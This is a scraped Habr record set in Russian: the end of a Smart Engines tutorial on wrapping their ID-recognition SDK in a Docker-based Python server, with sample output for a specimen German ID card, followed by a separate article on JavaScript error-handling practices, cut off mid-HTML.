остальное что нам нужно, если нужно ...     return result</code></pre><p>На выходе получим json, который и перешлём обратно к клиенту.</p><p>Теперь можно переходить к сборке Docker-образа с библиотекой, Python-обёрткой и скриптом сервера.</p><p><em>Пару слов об обёртках: поскольку мы поставляем основную библиотеку в виде shared library, обёртки представляют собой набор из интерфейса на том языке, под который собираем обёртку, и библиотеки-транслятора вызовов из приложения в нашу библиотеку. Соответственно, для использования нужно подключить интерфейс к приложению и правильно слинковать все библиотеки. Для того, чтобы пользователь мог собрать обёртки под именно ту систему, которую он использует у себя в проде, мы кладём в SDK все инструменты для автогенерации Python-обёртки.</em></p><p>Для того чтобы избежать проблем с линковкой к разным версиям Python, мы будем использовать так называемый multi-stage build. Это позволит нам в первом образе установить необходимые зависимости для сборки, произвести саму сборку обёртки, а потом просто перенести результат в новый чистый образ.</p><pre><code class="bash"># Берем образ Ubuntu и задаем его как образ для сборки FROM ubuntu:22.04 AS builder # Копируем наш SDK в этот образ COPY "./IdEngineSDK" /home/idengine # Зададим рабочий каталог WORKDIR "/home/idengine/samples/idengine_sample_python/" # Отключим интерактивный режим, иначе установка образа из Dockerfile не получится ENV DEBIAN_FRONTEND noninteractive # А теперь поставим необходимые зависимости RUN set -xe &lt;/span> &amp;&amp; apt -y update  &lt;/span> &amp;&amp; apt -y install tcl &lt;/span> &amp;&amp; apt -y install build-essential &lt;/span> &amp;&amp; apt -y install make &lt;/span> &amp;&amp; apt -y install cmake &lt;/span> &amp;&amp; apt -y install python3-dev # Эта команда компилирует модуль для питона для нашей библиотеки. RUN ./build_python_wrapper.sh "../../bin" 3</code></pre><p>Итак, модуль для Python собран. Теперь же нам нужно создать чистый образ и перенести все туда. Для этого нам нужно только поставить Python в новый образ, а после скопировать из предыдущего образа папку с библиотекой, обертку для нее, конфигурационный бандл и сам скрипт сервера, а после запустить вместе с контейнером.</p><p>В итоге всех проделанных манипуляций имеем готовый Docker-образ с сервером распознавания и скрипт, позволяющий с помощью json отправлять на этот сервер картинку с документом и получать ответ в виде json с распознанными полями документа.</p><p>Давайте протестируем на картинке <a href="https://commons.wikimedia.org/wiki/File:Deutscher_Personalausweis_(1987_Version).jpg#/media/Fichier:Deutscher_Personalausweis_(1987_Version).jpg">из википедии</a>. Отправим запрос вида:</p><pre><code class="bash"> python3 client.py --image_path=/home/tolstov/Deutscher_Personalausweis_(1987_Version).jpg </code></pre><p>Получим ответ: </p><details class="spoiler"><summary>JSON с данными</summary><div class="spoiler__content"><pre><code class="json">{     "error": false,     "response": {         "docType": "deu.id.type2",         "fields": {             "birth_date": {                 "isAccepted": true,                 "name": "birth_date",                 "value": "12.08.1964"             },             "birth_place": {                 "isAccepted": true,                 "name": "birth_place",                 "value": "MÜNCHEN"             },             "expiry_date": {                 "isAccepted": true,                 "name": "expiry_date",                 "value": "07.10.2011"             },             "full_mrz": {                 "isAccepted": true,                 "name": "full_mrz",                 "value": "IDD&lt;&lt;MUSTERMANN&lt;&lt;ERIKA&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;1220001518D&lt;&lt;6408125&lt;1110078&lt;&lt;&lt;&lt;&lt;&lt;&lt;0"             },             "last_name": {                 "isAccepted": true,                 "name": "last_name",                 "value": "MUSTERMANN"             },             "last_name0": {                 "isAccepted": true,                 "name": "last_name0",                 "value": "MUSTERMANN"             },             "mrz_birth_date": {                 "isAccepted": true,                 "name": "mrz_birth_date",                 "value": "12.08.1964"             },             "mrz_cd_birth_date": {                 "isAccepted": true,                 "name": "mrz_cd_birth_date",                 "value": "5"             },             "mrz_cd_composite": {                 "isAccepted": true,                 "name": "mrz_cd_composite",                 "value": "0"             },             "mrz_cd_expiry_date": {                 "isAccepted": true,                 "name": "mrz_cd_expiry_date",                 "value": "8"             },             "mrz_cd_number": {                 "isAccepted": true,                 "name": "mrz_cd_number",                 "value": "8"             },             "mrz_doc_type_code": {                 "isAccepted": true,                 "name": "mrz_doc_type_code",                 "value": "ID"             },             "mrz_expiry_date": {                 "isAccepted": true,                 "name": "mrz_expiry_date",                 "value": "07.10.2011"             },             "mrz_gender": {                 "isAccepted": true,                 "name": "mrz_gender",                 "value": "&lt;"             },             "mrz_issuer": {                 "isAccepted": true,                 "name": "mrz_issuer",                 "value": "D"             },             "mrz_last_name": {                 "isAccepted": true,                 "name": "mrz_last_name",                 "value": "MUSTERMANN"             },             "mrz_line1": {                 "isAccepted": true,                 "name": "mrz_line1",                 "value": "IDD&lt;&lt;MUSTERMANN&lt;&lt;ERIKA&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;"             },             "mrz_line2": {                 "isAccepted": true,                 "name": "mrz_line2",                 "value": "1220001518D&lt;&lt;6408125&lt;1110078&lt;&lt;&lt;&lt;&lt;&lt;&lt;0"             },             "mrz_name": {                 "isAccepted": true,                 "name": "mrz_name",                 "value": "ERIKA"             },             "mrz_nationality": {                 "isAccepted": true,                 "name": "mrz_nationality",                 "value": "D"             },             "mrz_number": {                 "isAccepted": true,                 "name": "mrz_number",                 "value": "122000151"             },             "mrz_opt_data_2": {                 "isAccepted": true,                 "name": "mrz_opt_data_2",                 "value": ""             },             "name": {                 "isAccepted": true,                 "name": "name",                 "value": "ERIKA"             },             "nationality": {                 "isAccepted": true,                 "name": "nationality",                 "value": "DEUTSCH"             },             "number": {                 "isAccepted": false,                 "name": "number",                 "value": "1946881314"             }         }     } }</code></pre><p></p></div></details><p><br/>Описанные выше скрипты для клиент-серверного взаимодействия, а также dockerfile для сборки и документацию мы предоставляем в составе отгружаемого SDK, как один из примеров использования нашей библиотеки. Посмотреть их можно также на <a href="https://github.com/SmartEngines/docker_integration">гитхабе</a>.</p><p></p></div>
SmartEngines
null
null
<p>Привет!</p><p>Мы <a href="https://smartengines.ru/">Smart Engines</a>, многие годы занимаемся созданием ПО для распознавания <a href="https://smartengines.ru/smart-idreader/">документов, удостоверяющих личность</a>, <a href="https://smartengines.ru/intelligent-document-recognition/">гибких форм</a>, <a href="https://smartengines.ru/smart-code-engine/">банковских карт, штрихкодов</a> и так далее - всего более двух с половиной тысяч различных документов. С помощью нашего ПО клиенты решают самые разные задачи с различными сценариями использования (сканирование штрихкодов и банковских карт в мобильных приложениях и<a href="https://habr.com/ru/company/smartengines/blog/686408/"> вебе</a>, автоматизация <a href="https://habr.com/ru/company/smartengines/blog/672896/">заполнения шаблонов</a> на основе распознанных ДУЛ, <a href="https://habr.com/ru/company/smartengines/news/t/560204/">распознавание паспорта РФ</a>).&nbsp;За всё время мы тысячу раз сталкивались с запросом “дайте какое-нибудь простое решение с API, которым нам можно было бы пользоваться”. Дело, конечно, хорошее, но функциональность у нашей системы очень богатая. Единый API, который подходил бы всем нашим заказчикам со своими разными задачами и разными сценариями использования, был бы переусложнен. В этой статье мы покажем пример того, как с помощью Docker, Python и нашего SDK самому реализовать простейшее решение для распознавания документов.&nbsp;</p><p></p>
Привет! Мы Smart Engines, многие годы занимаемся созданием ПО для распознавания документов, удостоверяющих личность, гибких форм, банковских карт, штрихкодов и так далее - всего более двух с половиной тысяч различных документов. С помощью нашего ПО клиенты решают самые разные задачи с различными сценариями использования (сканирование штрихкодов и банковских карт в мобильных приложениях и вебе, автоматизация заполнения шаблонов на основе распознанных ДУЛ, распознавание паспорта РФ). За всё время мы тысячу раз сталкивались с запросом “дайте какое-нибудь простое решение с API, которым нам можно было бы пользоваться”. Дело, конечно, хорошее, но функциональность у нашей системы очень богатая. Единый API, который подходил бы всем нашим заказчикам со своими разными задачами и разными сценариями использования, был бы переусложнен. В этой статье мы покажем пример того, как с помощью Docker, Python и нашего SDK самому реализовать простейшее решение для распознавания документов.
article
1,675,166,260
{ "commentsCount": 1, "favoritesCount": 10, "readingCount": 1304, "score": 1, "votesCount": 1, "votesCountPlus": 1, "votesCountMinus": 0 }
[]
[ "smartengines", "python", "programming", "machine_learning", "artificial_intelligence" ]
[ "develop", "popsci" ]
[ "docker", "OCR" ]
15
tutorial
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
518,050
ru
https://habr.com/ru/post/518050/
Обработка ошибок в JavaScript
Привет, Хабр! Тема обработки ошибок в JavaScript возникает не только у каждого новичка, но и матерого разработчика. Замечу, что тема уже довольно заезжена, поэтому я позволю себе резюмировать в кратком изложении все, что действительно эффективно и проверено в бою мною, коллегами и гуру IT. Итак, для того, чтобы вам было понятно, в чем суть и есть ли что-то новое для вас, ниже представлена структура заметки: Ошибка в JavaScript? Железобетонные методы обработки ошибок Облегчаем себе жизнь Ошибки зависимостей ## Ошибка в JavaScript? Не погружаясь в этимологию ошибки в JavaScript, охарактеризуем ее абстрактно, поскольку сам по себе объект ошибки в JS не стандартизирован полностью. Ошибка в JS \- это «выбрасывание» исключения (throw of an exception). Исключение должно быть обработано программой, в противном случае интерпретатор вернет нас на то место, где это исключение было выброшено. По умолчанию исключение выбрасывает объект Error. Неважно, пишете ли вы Frontend или Backend, подход к обработке один – поймать злосчастное исключение и обработать. Обрабатывать нужно все, особенно в проде. Сразу просветим пару нестандартных ситуаций (кому как): ошибка извне программы, терминальная ошибка. Терминальная ошибка – это код ошибки, который возвращает ОС или демон. Ошибка извне программы может быть частным случаем терминальной, но тем не менее она должна быть обработана. Любая из этих нестандартных ситуаций может попасть в общий стек ошибок и будет обработана, т.к. каждое выброшенное исключение, попавшее в программу, захватывает стек. Самый главный вопрос – когда возникает ошибка? Ошибка возникает в том случае, когда программа или интерпретатор не может перейти к следующей инструкции по некоторым причинам: Синтаксическая ошибка (забыли запятую, скобку и т.д.) Ошибка интерпретатора (обращение к несуществующей переменной и т.д.) Ошибка исполнения (тип переменной оказался, например, undefined) – самая частая в работающем приложении И еще несколько вариантов, с которыми вы можете ознакомиться тут. В каждом из случаев есть человеческий фактор, чтобы этого не допускать используйте линтеры, которые следят за чистотой вашего кода и минимизируют риск возникновения ошибок еще до запуска. Вдобавок к этому, ошибки исполнения – частое явление в JavaScript, следить за этим помогает Typescript. ## Железобетонные методы обработки ошибок Чтобы сражаться с врагом, нужно знать его в лицо, поэтому ниже основные свойства объекта Error: name – название ошибки; message – текст выбрасываемой ошибки; stack – стек вызовов, приведших к ошибке. Важно заметить, что свойства не стандартизированы, а также помним, что исключение может быть любым типом данных. Из этого набора информации при обработке ошибок самым важным является их классификация. По моему мнению, если удалось правильно классифицировать выброшенное исключение – это 80% работы. Остальные 20% завязаны на правильной обработке, ведь каждое приложение – это бизнес, следовательно, минимизация ошибок в бизнесе – прирост конверсии. В зависимости от приложения классификация и обработка могут быть написаны собственноручно, либо можно задействовать готовые инструменты. Мы не будем рассматривать производные методы отлова ошибок, такие как TDD или E2E, а ограничимся только девелоперскими инструментами, но прежде определим, что мы желаем получить от инструмента: стек вызовов, приведших к ошибке; уровень ошибки (фатальная, критическая, баг, неожиданная и т.д.); класс ошибки (сетевая, сервисная, пользовательская и т.д.); хранение ошибки для анализа и пост-обработки; логирование; профилирование / метрика. Из всего обилия существующих инструментов выбирать нужно именно по этим критериям. Разница инструментов, как правило, в том, что одни заточены под разработку приложения, а другие под работу приложения в релизе. Суть одна, но какому-то из критериев просто уделяется больше внимания. Уметь выбирать библиотеку – отличный навык, а умение компоновать поможет вам приблизиться к идеалу. Предлагаю разобрать способы именно для процесса разработки. Придерживаясь методологий SOLID и DRY, нам следует внедрить наш обработчик (middleware) на самый верхний уровень и уже оттуда обрабатывать все ошибки, которые прошли мимо. Middleware может быть как написанный самостоятельно, так и из библиотеки. Ниже примеры. Для Node.js Для Vanilla JS Для React Для Angular Для Vue Данные примеры касаются верхнеуровнего отлова и обработки ошибок, но возникает резонный вопрос: как быть с частными случаями, встречающимися в парадигме JavaScript? Ниже несколько примеров. Всегда оборачивайте асинхронный код в try...catch, а также вызовы сторонних библиотек. Вот пример: [code] // ... const middlewareRequest = async (req) => { try { const { data } = await axios.get(req); return data; } catch (err) { throw new Error(err); } } // ... [/code] Опытный архитектор может заметить, что если оборачивать все асинхронные конструкции в try...catch, то это сродни «аду коллбэков», поэтому придерживайтесь методологии DRY и пишите все на верхнем уровне, если позволяет ваша архитектура. То же касается и работы с событийной моделью: можно назначать middleware через Функции Высшего Порядка – в будущем это позволит вам быстро масштабироваться. Пример обработки глобального события: [code] // ... const wrapEventWithExcpetionHandler = (middleware) => (e) => { const { error } = e; // предположим, что ошибка в этом поле if (error) { throw new Error(error); } try { return middleware(e); } catch (err) { throw new Error(err); } } window.addEventListener('mousemove', wrapEventWithExceptionHandler(middlewareGlobalMouseMove)); // ... [/code] Как видно из примеров выше, следуя путем самостоятельной классификации, разработчику придется сильно напрячься и писать велосипед для каждой библиотеки или фреймворка, следовательно, эффективнее выбирать готовый инструмент в зависимости от потребностей. В любом случае эти примеры могут быть вам полезны, поскольку внедрение даже готового инструмента подразумевает «поднятие» обработчиков на верхний уровень. Еще раз взглянув на примеры, можно удостовериться в одном: любая пойманная ошибка в идеале должна иметь одинаковый набор параметров информативности независимо от инструмента и среды исполнения, а ведь мы еще не рассмотрели логирование, профилирование и хранение ошибок на сервере. Соответственно, из этого можно сделать вывод, что слой обработки ошибок должен сосуществовать со слоем исполнения, а это уже влечет за собой последствия и накладывается на архитектуру. Так для чего же нужны эти приемы? Ответ – для ведения простой и надежной разработки. Ваша задача как разработчика – делать отказоустойчивый код и при возникновении ошибки не дебажить все подряд, а сразу бить в «яблочко» и устранять проблему. Это попросту экономит ваше время, силы и деньги бизнеса. Работайте с DevTools и выбрасывайте исключения, другие разработчики будут вам благодарны, опираясь на этот гайд. Обязательно ознакомьтесь, если не знали, вот пример: [code] // ... /* обычный console.log может превратиться в нечто большее */ /* как правило, начинающие программисты логируют по одной переменной, мы же можем форматировать строки с любым количеством аргументов */ console.log('Check:\r\n username - %s\r\n age - %i\r\n data - %o', 'Mike', 23, {status: 'registered'}); /* Check: username - Mike age - 23 data - {status: "registered"} */ /* выводить таблицы массивов */ console.table([{username: 'Mike', age: 23}, {username: 'Sarah', age: 46}]); /* или просто логировать данные в их первоначальном виде */ console.dir(document.body.childNodes[1]); // ... [/code] Далее рассмотрим инструменты, которые собирают данные не только от компонентов, но и от сервисов (например, сетевые запросы, запросы к устройству и т.д.), а также сторонних библиотек и приложений, что кратно улучшает вашу производительность при обработке ошибок. ## Облегчаем себе жизнь 1\. Рекомендую взять за правило: перед началом каждой разработки централизовать любое логирование, особенно ошибок. С этой задачей помогут справиться библиотеки по типу log4js. Это сразу даст вам понять, ошибка в вашем приложении, либо извне. 2\. Используйте Брейкпоинты в DevTools! Это важно уметь делать. Это как машина времени программы, вы останавливаете интерпретатор на нужной строчке и вам даже не нужна консоль – просто смотрите значения переменных и поймете, что не так. Делается это простым кликом на нужной строчке во вкладке Source. Выбираете нужный файл, ставите брейкпоинт и перезапускаете программу. Для удаления брейкпоинта кликните на ту же строчку. 3\. Стараемся перехватывать все ошибки и исключения на верхнем уровне. 4\. Хранение ошибок на сервере больше относится к проду, но имеем в виду, что готовый инструмент прекрасно справляется с данной задачей (см. ниже). 5\. Профилирование – тема тоже непростая, если вы знаете, что это измерение времени от начала до конца исполнения монады, вы уже на полпути. К счастью, DevTools позволяют делать замеры без вмешательства в код. Эти правила априори необходимы, даже если вы опытные разработчик, вам всегда нужно знать, как ведет себя программа в конкретный момент времени. Для ПРОДвинутых Если вы уже как рыба в воде при работе с ошибками в JS, рекомендую посмотреть на сервисы для автоматизации сбора и ведению статистики ошибок. Такие сервисы, как Sentry и Rollbar, уже заточены под работу со многими популярными пакетами и требуют от вас только установки, задания конфигурации в точке входа вашего приложения и определение надстроек в зависимости от вашей архитектуры. Их преимущество в том, что они покрывают большую часть потребностей, о которых мы писали выше и требуют вашего минимального вмешательства. На выходе вы получите приятные бонусы с красивым интерфейсом и все пункты, которые мы указали важными (Железобетонные методы обработки ошибок). Также рекомендую ознакомиться на досуге с Graphana, это за рамками статьи, т.к. относится не только к JavaScript, но очень хорошо коррелирует с нашей темой и позволяет отображать на графиках текущее состояние приложений, слать уведомления в чат об ошибках и не только. ## Ошибки зависимостей Очень частым явлением среди разработчиков является работа со сторонними пакетами, в которых тоже могут встречаться ошибки. Тут нет выработанного универсального решения для отлова или же игнорирования, т.к. многое зависит непосредственно от сборки самого пакета. Какие советы тут можно дать? Их немного: Самым важным в логировании исключений являются уровни ошибок. Вы можете задавать их посредством встроенного console (log, warn, error, info), либо в сторонних библиотеках (см. выше log4js). Здесь решением проблемы является максимальное разделение ошибок вашего приложения и стороннего, но не переборщите, ведь могут быть действительно важные исключения. Разделяйте ваши сборки на production/development/test и используйте source-map во время разработки либо пре-релиза, это позволит вам получать более детальную информацию в бою о том, что пошло не так с информативным стеком ошибки. Другим способом в перехвате ошибок зависимостей является реальное устранение проблемы, например, посредством Pull Request. Для ленивых можно использовать Fork с фиксом, но тогда его нужно поддерживать, а некоторые проекты не всегда позволяют это делать. Ну, и самым изощренным и неочевидным является использование соответствующих надстроек для babel. Транспайлинг посредством babel работает через AST, который в первом приближении разбирает весь код JavaScript на дерево с вершинами. Есть специальные плагины, которые делают необходимые обертки для удобства разработчиков, по типу полифиллов, перегрузок, а также оборачиванию в специальные конструкции. Оборачивать можно, как вы догадались, и обработку ошибок, но данное решение должно иметь острую необходимость, просто имейте это в виду. ## Заключение Выше были рассмотрены вполне стандартные методы обработки ошибок, а также продемонстрированы примеры техник с кодом для популярных пакетов. Дополнением выступают инструменты по автоматизации сбора и обработки ошибок. Подробную информацию читайте по ссылкам. Комбинируйте несколько методов и доверяйте проектам с хорошей репутацией. Обязательно логируйте во время разработки, брейкпоинты только помогают понять проблему в конкретном случае, но не являются лекарством. Автор: Ришат Габайдуллов, Руководитель группы практики Frontend компании «Рексофт».
<div xmlns="http://www.w3.org/1999/xhtml"><p>Привет, Хабр!</p><p>Тема обработки ошибок в JavaScript возникает не только у каждого новичка, но и матерого разработчика. Замечу, что тема уже довольно заезжена, поэтому я позволю себе резюмировать в кратком изложении все, что действительно эффективно и проверено в бою мною, коллегами и гуру IT.</p><p>Итак, для того, чтобы вам было понятно, в чем суть и есть ли что-то новое для вас, ниже представлена структура заметки:</p><ul><li><p>Ошибка в JavaScript?</p></li><li><p>Железобетонные методы обработки ошибок</p></li><li><p>Облегчаем себе жизнь</p></li><li><p>Ошибки зависимостей</p></li></ul><h2>Ошибка в JavaScript?</h2><p>Не погружаясь в этимологию ошибки в JavaScript, охарактеризуем ее абстрактно, поскольку сам по себе объект ошибки в JS не стандартизирован полностью.</p><p><strong>Ошибка в JS</strong> - это «выбрасывание» исключения (throw of an exception). Исключение должно быть обработано программой, в противном случае интерпретатор вернет нас на то место, где это исключение было выброшено. По умолчанию исключение выбрасывает объект Error.</p><p>Неважно, пишете ли вы Frontend или Backend, подход к обработке один – поймать злосчастное исключение и обработать. Обрабатывать нужно все, особенно в проде.</p><p>Сразу просветим пару нестандартных ситуаций (кому как):</p><ul><li><p>ошибка извне программы,</p></li><li><p>терминальная ошибка.</p></li></ul><p>Терминальная ошибка – это код ошибки, который возвращает ОС или демон.</p><p>Ошибка извне программы может быть частным случаем терминальной, но тем не менее она должна быть обработана.</p><p>Любая из этих нестандартных ситуаций может попасть в общий стек ошибок и будет обработана, т.к. каждое выброшенное исключение, попавшее в программу, захватывает стек.</p><p><strong>Самый главный вопрос – когда возникает ошибка?</strong></p><p>Ошибка возникает в том случае, когда программа или интерпретатор не может перейти к следующей инструкции по некоторым причинам:</p><ul><li><p>Синтаксическая ошибка (забыли запятую, скобку и т.д.)</p></li><li><p>Ошибка интерпретатора (обращение к несуществующей переменной и т.д.)</p></li><li><p>Ошибка исполнения (тип переменной оказался, например, undefined) – самая частая в работающем приложении</p></li><li><p>И еще несколько вариантов, с которыми вы можете ознакомиться <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Error#Error_types">тут</a>.</p></li></ul><p>В каждом из случаев есть человеческий фактор, чтобы этого не допускать используйте <a href="https://eslint.org/">линтеры</a>, которые следят за чистотой вашего кода и минимизируют риск возникновения ошибок еще до запуска. Вдобавок к этому, ошибки исполнения – частое явление в JavaScript, следить за этим помогает Typescript. </p><h2>Железобетонные методы обработки ошибок</h2><p>Чтобы сражаться с врагом, нужно знать его в лицо, поэтому ниже основные свойства объекта Error:</p><ul><li><p>name – <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Error#Error_types">название</a> ошибки;</p></li><li><p>message – текст выбрасываемой ошибки;</p></li><li><p>stack – стек вызовов, приведших к ошибке.</p></li></ul><p>Важно заметить, что свойства не стандартизированы, а также помним, что исключение может быть любым типом данных.</p><p>Из этого набора информации при обработке ошибок самым важным является их классификация. По моему мнению, если удалось правильно классифицировать выброшенное исключение – это 80% работы. Остальные 20% завязаны на правильной обработке, ведь каждое приложение – это бизнес, следовательно, минимизация ошибок в бизнесе – прирост конверсии.</p><p>В зависимости от приложения классификация и обработка могут быть написаны собственноручно, либо можно задействовать готовые инструменты. Мы не будем рассматривать производные методы отлова ошибок, такие как TDD или E2E, а ограничимся только девелоперскими инструментами, но прежде определим, что мы желаем получить от инструмента:</p><ul><li><p>стек вызовов, приведших к ошибке;</p></li><li><p>уровень ошибки (фатальная, критическая, баг, неожиданная и т.д.);</p></li><li><p>класс ошибки (сетевая, сервисная, пользовательская и т.д.);</p></li><li><p>хранение ошибки для анализа и пост-обработки;</p></li><li><p>логирование;</p></li><li><p>профилирование / метрика.</p></li></ul><p>Из всего обилия существующих инструментов выбирать нужно именно по этим критериям. Разница инструментов, как правило, в том, что одни заточены под разработку приложения, а другие под работу приложения в релизе. Суть одна, но какому-то из критериев просто уделяется больше внимания.</p><p>Уметь выбирать библиотеку – отличный навык, а умение компоновать поможет вам приблизиться к идеалу. Предлагаю разобрать способы именно для процесса разработки.</p><p>Придерживаясь методологий <a href="https://ru.wikipedia.org/wiki/SOLID_(%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)">SOLID</a> и <a href="https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself">DRY</a>, нам следует внедрить наш обработчик (middleware) на самый верхний уровень и уже оттуда обрабатывать все ошибки, которые прошли мимо. Middleware может быть как написанный самостоятельно, так и из библиотеки. Ниже примеры.</p><p><a href="https://gist.github.com/rgabaydullov/04937d5429fb49bc7ce29b00dea2ee2b">Для Node.js</a></p><p><a href="https://gist.github.com/rgabaydullov/1799790b3ba4c18eec75afe608aff993">Для Vanilla JS</a></p><p><a href="https://gist.github.com/rgabaydullov/35151cd9be3eecbf0658a84fc4e8600d">Для React</a></p><p><a href="https://gist.github.com/rgabaydullov/81cdd60408c0d984a16ded9f3c9d0ccb">Для Angular</a></p><p><a href="https://gist.github.com/rgabaydullov/634d1c12cace699f4040dfe7b63ec422">Для Vue</a></p><p>Данные примеры касаются верхнеуровнего отлова и обработки ошибок, но возникает резонный вопрос: как быть с частными случаями, встречающимися в парадигме JavaScript? Ниже несколько примеров.</p><p>Всегда оборачивайте асинхронный код в try…catch, а также вызовы сторонних библиотек.</p><p>Вот пример:</p><pre><code class="javascript">// ... const middlewareRequest = async (req) => { try { const { data } = await axios.get(req); return data; } catch (err) { throw new Error(err); } } // ...</code></pre><p>Опытный архитектор может заметить, что если оборачивать все асинхронные конструкции в try…catch, то это сродни «аду коллбэков», поэтому придерживайтесь методологии DRY и пишите все на верхнем уровне, если позволяет ваша архитектура.</p><p>То же касается и работы с событийной моделью: можно назначать middleware через <a href="https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D0%B2%D1%8B%D1%81%D1%88%D0%B5%D0%B3%D0%BE_%D0%BF%D0%BE%D1%80%D1%8F%D0%B4%D0%BA%D0%B0">Функции Высшего Порядка</a> – в будущем это позволит вам быстро масштабироваться.</p><p>Пример обработки глобального события:</p><pre><code class="javascript">// ... const wrapEventWithExcpetionHandler = (middleware) => (e) => { const { error } = e; // предположим, что ошибка в этом поле if (error) { throw new Error(error); } try { return middleware(e); } catch (err) { throw new Error(err); } } window.addEventListener('mousemove', wrapEventWithExceptionHandler(middlewareGlobalMouseMove)); // ...</code></pre><p>Как видно из примеров выше, следуя путем самостоятельной классификации, разработчику придется сильно напрячься и писать велосипед для каждой библиотеки или фреймворка, следовательно, эффективнее выбирать готовый инструмент в зависимости от потребностей.</p><p>В любом случае эти примеры могут быть вам полезны, поскольку внедрение даже готового инструмента подразумевает «поднятие» обработчиков на верхний уровень.</p><p>Еще раз взглянув на примеры, можно удостовериться в одном: любая пойманная ошибка в идеале должна иметь одинаковый набор параметров информативности независимо от инструмента и среды исполнения, а ведь мы еще не рассмотрели логирование, профилирование и хранение ошибок на сервере. Соответственно, из этого можно сделать вывод, что слой обработки ошибок должен сосуществовать со слоем исполнения, а это уже влечет за собой последствия и накладывается на архитектуру.</p><p><strong>Так для чего же нужны эти приемы?</strong></p><p>Ответ – для ведения простой и надежной разработки. Ваша задача как разработчика – делать отказоустойчивый код и при возникновении ошибки не дебажить все подряд, а сразу бить в «яблочко» и устранять проблему. Это попросту экономит ваше время, силы и деньги бизнеса.</p><p>Работайте с DevTools и выбрасывайте исключения, другие разработчики будут вам благодарны, опираясь на <a href="https://habr.com/ru/post/114483/">этот гайд</a>. Обязательно ознакомьтесь, если не знали, вот пример:</p><pre><code class="javascript">// ... /* обычный console.log может превратиться в нечто большее */ /* как правило, начинающие программисты логируют по одной переменной, мы же можем форматировать строки с любым количеством аргументов */ console.log('Check:\r\n username - %s\r\n age - %i\r\n data - %o', 'Mike', 23, {status: 'registered'}); /* Check: username - Mike age - 23 data - {status: "registered"} */ /* выводить таблицы массивов */ console.table([{username: 'Mike', age: 23}, {username: 'Sarah', age: 46}]); /* или просто логировать данные в их первоначальном виде */ console.dir(document.body.childNodes[1]); // ...</code></pre><p>Далее рассмотрим инструменты, которые собирают данные не только от компонентов, но и от сервисов (например, сетевые запросы, запросы к устройству и т.д.), а также сторонних библиотек и приложений, что кратно улучшает вашу производительность при обработке ошибок.</p><h2>Облегчаем себе жизнь</h2><p>1.    Рекомендую взять за правило: перед началом каждой разработки централизовать любое логирование, особенно ошибок. С этой задачей помогут справиться библиотеки по типу <a href="https://www.npmjs.com/package/log4js">log4js</a>. Это сразу даст вам понять, ошибка в вашем приложении, либо извне.</p><p>2.    Используйте <a href="https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints">Брейкпоинты</a> в DevTools! Это важно уметь делать. Это как машина времени программы, вы останавливаете интерпретатор на нужной строчке и вам даже не нужна консоль – просто смотрите значения переменных и поймете, что не так. Делается это простым кликом на нужной строчке во вкладке Source. Выбираете нужный файл, ставите брейкпоинт и перезапускаете программу. Для удаления брейкпоинта кликните на ту же строчку.</p><p>3.    Стараемся перехватывать все ошибки и исключения на верхнем уровне.</p><p>4.    Хранение ошибок на сервере больше относится к проду, но имеем в виду, что готовый инструмент прекрасно справляется с данной задачей (см. ниже).</p><p>5.    Профилирование – тема тоже непростая, если вы знаете, что это измерение времени от начала до конца исполнения монады, вы уже на полпути. К счастью, DevTools позволяют <a href="https://developer.mozilla.org/ru/docs/Tools/Profiler#profile-timeline">делать замеры</a> без вмешательства в код.</p><p>Эти правила априори необходимы, даже если вы опытные разработчик, вам всегда нужно знать, как ведет себя программа в конкретный момент времени.</p><p><strong>Для ПРОДвинутых</strong></p><p>Если вы уже как рыба в воде при работе с ошибками в JS, рекомендую посмотреть на сервисы для автоматизации сбора и ведению статистики ошибок.</p><p>Такие сервисы, как <a href="https://docs.sentry.io/platforms/javascript/">Sentry</a> и <a href="https://rollbar.com/">Rollbar</a>, уже заточены под работу со многими популярными пакетами и требуют от вас только установки, задания конфигурации в точке входа вашего приложения и определение надстроек в зависимости от вашей архитектуры.</p><p>Их преимущество в том, что они покрывают большую часть потребностей, о которых мы писали выше и требуют вашего минимального вмешательства. На выходе вы получите приятные бонусы с красивым интерфейсом и все пункты, которые мы указали важными (Железобетонные методы обработки ошибок).</p><p>Также рекомендую ознакомиться на досуге с <a href="https://grafana.com/">Graphana</a>, это за рамками статьи, т.к. относится не только к JavaScript, но очень хорошо коррелирует с нашей темой и позволяет отображать на графиках текущее состояние приложений, слать уведомления в чат об ошибках и не только.</p><h2>Ошибки зависимостей</h2><p>Очень частым явлением среди разработчиков является работа со сторонними пакетами, в которых тоже могут встречаться ошибки.</p><p>Тут нет выработанного универсального решения для отлова или же игнорирования, т.к. многое зависит непосредственно от сборки самого пакета. Какие советы тут можно дать? Их немного:</p><ul><li><p>Самым важным в логировании исключений являются уровни ошибок. Вы можете задавать их посредством встроенного console (log, warn, error, info), либо в сторонних библиотеках (см. выше log4js). Здесь решением проблемы является максимальное разделение ошибок вашего приложения и стороннего, но не переборщите, ведь могут быть действительно важные исключения.</p></li><li><p>Разделяйте ваши сборки на production/development/test и используйте source-map во время разработки либо пре-релиза, это позволит вам получать более детальную информацию в бою о том, что пошло не так с информативным стеком ошибки.</p></li><li><p>Другим способом в перехвате ошибок зависимостей является реальное устранение проблемы, например, посредством Pull Request. Для ленивых можно использовать Fork с фиксом, но тогда его нужно поддерживать, а некоторые проекты не всегда позволяют это делать.</p></li><li><p>Ну, и самым изощренным и неочевидным является использование соответствующих надстроек для babel. Транспайлинг посредством babel работает через <a 